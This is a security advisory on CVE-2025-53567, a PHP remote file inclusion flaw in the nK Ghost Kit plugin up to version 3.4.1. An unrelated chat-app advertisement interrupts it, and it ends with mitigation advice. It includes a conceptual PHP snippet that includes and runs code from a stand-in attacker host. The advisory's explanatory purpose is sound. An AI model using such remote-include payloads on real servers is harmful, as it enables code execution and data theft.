Overview
The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web development, this issue could affect a significant number of websites worldwide, potentially exposing a large amount of sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-53567
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
nK Ghost Kit | Up to and including 3.4.1
How the Exploit Works
The vulnerability stems from an improper control of filename for Include/Require Statement in the PHP program within nK Ghost Kit. This allows an attacker to manipulate the input data and include a remote file from an external server. When the server processes the request, the malicious PHP code contained in the remote file is executed.
Conceptual Example Code
The following pseudocode provides a conceptual understanding of how this exploit might be executed.
<?php
// The attacker-controlled variable that contains the URL of the remote file
$attacker_controlled_url = "http://malicious.example.com/malicious_file.php";
// The vulnerable include/require statement
include($attacker_controlled_url);
?>
In this example, the attacker has control over the `$attacker_controlled_url` variable. When the include statement is executed, the PHP interpreter fetches the file from `http://malicious.example.com/malicious_file.php` and executes its content as PHP code. If the malicious file contains code for a shell command or data exfiltration, it can lead to system compromise or data leakage.
Mitigation
As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be deployed to block attempts to exploit this vulnerability. However, the most effective solution is to apply the vendor-supplied patch. If you are using an affected version of nK Ghost Kit, it is recommended to update it immediately to protect your system from potential attacks.